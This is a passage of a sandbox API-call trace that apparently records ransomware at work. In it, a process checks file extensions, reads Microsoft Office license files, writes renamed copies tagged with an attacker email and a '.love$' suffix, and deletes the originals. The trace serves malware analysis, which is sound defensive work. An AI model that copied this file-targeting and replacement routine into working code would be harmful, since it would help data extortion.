[0272.898] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.898] lstrlenW (lpString=".7z") returned 3 [0272.898] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.898] lstrlenW (lpString=".dbf") returned 4 [0272.898] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.898] lstrlenW (lpString=".1cd") returned 4 [0272.898] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.898] lstrlenW (lpString=".jpg") returned 4 [0272.898] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.899] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.899] lstrlenW (lpString="MondoVL_MAK-pl.xrm-ms") returned 21 [0272.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0272.900] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=10619) returned 1 [0272.900] CloseHandle (hObject=0x454) returned 1 [0272.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 0x220 [0272.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0272.901] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.901] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0272.902] GetLastError () returned 0x0 [0272.902] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x297b, lpOverlapped=0x0) returned 1 [0272.905] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2980, lpOverlapped=0x0) returned 1 [0272.906] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.906] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xfe, lpOverlapped=0x0) returned 1 [0272.907] SetEndOfFile (hFile=0x534) returned 1 [0272.907] CloseHandle (hObject=0x534) returned 1 [0272.907] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.907] SetEndOfFile (hFile=0x454) returned 1 [0272.910] CloseHandle (hObject=0x454) returned 1 [0272.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 1 [0272.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.913] lstrlenW (lpString=".doc") returned 4 [0272.913] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.913] lstrlenW (lpString=".docx") returned 5 [0272.913] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.913] lstrlenW (lpString=".pdf") returned 4 [0272.913] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.913] lstrlenW (lpString=".xls") returned 4 [0272.913] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.913] lstrlenW (lpString=".xlsx") returned 5 [0272.913] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.913] lstrlenW (lpString=".ppt") returned 4 [0272.913] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.913] lstrlenW (lpString=".zip") returned 4 [0272.913] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.913] lstrlenW (lpString=".rar") returned 4 [0272.913] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.913] lstrlenW (lpString=".bz2") returned 4 [0272.913] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.913] lstrlenW (lpString=".7z") returned 3 [0272.913] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.914] lstrlenW (lpString=".dbf") returned 4 [0272.914] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.914] lstrlenW (lpString=".1cd") returned 4 [0272.914] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.914] lstrlenW (lpString=".jpg") returned 4 [0272.914] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.914] lstrlenW (lpString=".doc") returned 4 [0272.914] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.914] lstrlenW (lpString=".docx") returned 5 [0272.914] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.914] lstrlenW (lpString=".pdf") returned 4 [0272.914] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.914] lstrlenW (lpString=".xls") returned 4 [0272.914] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.914] lstrlenW (lpString=".xlsx") returned 5 [0272.914] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.914] lstrlenW (lpString=".ppt") returned 4 [0272.914] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.914] lstrlenW (lpString=".zip") returned 4 [0272.914] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.914] lstrlenW (lpString=".rar") returned 4 [0272.914] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.914] lstrlenW (lpString=".bz2") returned 4 [0272.914] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.915] lstrlenW (lpString=".7z") returned 3 [0272.915] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.915] lstrlenW (lpString=".dbf") returned 4 [0272.915] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.915] lstrlenW (lpString=".1cd") returned 4 [0272.915] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0272.915] lstrlenW (lpString=".jpg") returned 4 [0272.915] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.915] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.915] lstrlenW (lpString="MondoVL_MAK-ppd.xrm-ms") returned 22 [0272.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0272.916] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=12414) returned 1 [0272.916] CloseHandle (hObject=0x454) returned 1 [0272.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 0x220 [0272.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0272.917] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.917] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0272.919] GetLastError () returned 0x0 [0272.919] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x307e, lpOverlapped=0x0) returned 1 [0273.137] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x3080, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x3080, lpOverlapped=0x0) returned 1 [0273.139] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.139] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x100, lpOverlapped=0x0) returned 1 [0273.139] SetEndOfFile (hFile=0x534) returned 1 [0273.259] CloseHandle (hObject=0x534) returned 1 [0273.259] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.264] SetEndOfFile (hFile=0x454) returned 1 [0273.549] CloseHandle (hObject=0x454) returned 1 [0273.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 1 [0274.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.063] lstrlenW (lpString=".doc") returned 4 [0274.063] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.063] lstrlenW (lpString=".docx") returned 5 [0274.063] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.063] lstrlenW (lpString=".pdf") returned 4 [0274.063] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.063] lstrlenW (lpString=".xls") returned 4 [0274.063] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.063] lstrlenW (lpString=".xlsx") returned 5 [0274.063] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.063] lstrlenW (lpString=".ppt") returned 4 [0274.063] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.063] lstrlenW (lpString=".zip") returned 4 [0274.063] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.063] lstrlenW (lpString=".rar") returned 4 [0274.063] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.063] lstrlenW (lpString=".bz2") returned 4 [0274.063] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.063] lstrlenW (lpString=".7z") returned 3 [0274.063] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.063] lstrlenW (lpString=".dbf") returned 4 [0274.064] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.064] lstrlenW (lpString=".1cd") returned 4 [0274.064] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.064] lstrlenW (lpString=".jpg") returned 4 [0274.064] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.064] lstrlenW (lpString=".doc") returned 4 [0274.064] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.064] lstrlenW (lpString=".docx") returned 5 [0274.064] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.064] lstrlenW (lpString=".pdf") returned 4 [0274.064] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.064] lstrlenW (lpString=".xls") returned 4 [0274.064] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.064] lstrlenW (lpString=".xlsx") returned 5 [0274.064] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.064] lstrlenW (lpString=".ppt") returned 4 [0274.064] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.064] lstrlenW (lpString=".zip") returned 4 [0274.064] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.064] lstrlenW (lpString=".rar") returned 4 [0274.065] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.065] lstrlenW (lpString=".bz2") returned 4 [0274.065] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.065] lstrlenW (lpString=".7z") returned 3 [0274.065] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.065] lstrlenW (lpString=".dbf") returned 4 [0274.065] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.065] lstrlenW (lpString=".1cd") returned 4 [0274.065] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0274.065] lstrlenW (lpString=".jpg") returned 4 [0274.065] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.065] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.065] lstrlenW (lpString="O365BusinessR_SubTrial-ppd.xrm-ms") returned 33 [0274.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0274.067] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=22466) returned 1 [0274.067] CloseHandle (hObject=0x3f4) returned 1 [0274.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 0x220 [0274.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0274.068] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.068] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.069] GetLastError () returned 0x0 [0274.069] ReadFile (in: hFile=0x3f4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x57c2, lpOverlapped=0x0) returned 1 [0274.072] WriteFile (in: hFile=0x454, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x57d0, lpOverlapped=0x0) returned 1 [0274.074] ReadFile (in: hFile=0x3f4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.074] WriteFile (in: hFile=0x454, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x116, lpOverlapped=0x0) returned 1 [0274.074] SetEndOfFile (hFile=0x454) returned 1 [0274.075] CloseHandle (hObject=0x454) returned 1 [0274.075] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.075] SetEndOfFile (hFile=0x3f4) returned 1 [0274.080] CloseHandle (hObject=0x3f4) returned 1 [0274.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 1 [0274.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.082] lstrlenW (lpString=".doc") returned 4 [0274.082] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.082] lstrlenW (lpString=".docx") returned 5 [0274.082] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.082] lstrlenW (lpString=".pdf") returned 4 [0274.082] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.082] lstrlenW (lpString=".xls") returned 4 [0274.082] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.082] lstrlenW (lpString=".xlsx") returned 5 [0274.082] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.083] lstrlenW (lpString=".ppt") returned 4 [0274.083] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.083] lstrlenW (lpString=".zip") returned 4 [0274.083] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.083] lstrlenW (lpString=".rar") returned 4 [0274.083] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.083] lstrlenW (lpString=".bz2") returned 4 [0274.083] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.083] lstrlenW (lpString=".7z") returned 3 [0274.083] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.083] lstrlenW (lpString=".dbf") returned 4 [0274.083] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.083] lstrlenW (lpString=".1cd") returned 4 [0274.083] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.083] lstrlenW (lpString=".jpg") returned 4 [0274.083] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.083] lstrlenW (lpString=".doc") returned 4 [0274.083] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.083] lstrlenW (lpString=".docx") returned 5 [0274.084] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.084] lstrlenW (lpString=".pdf") returned 4 [0274.084] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.084] lstrlenW (lpString=".xls") returned 4 [0274.084] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.084] lstrlenW (lpString=".xlsx") returned 5 [0274.084] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.084] lstrlenW (lpString=".ppt") returned 4 [0274.084] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.084] lstrlenW (lpString=".zip") returned 4 [0274.084] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.084] lstrlenW (lpString=".rar") returned 4 [0274.084] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.084] 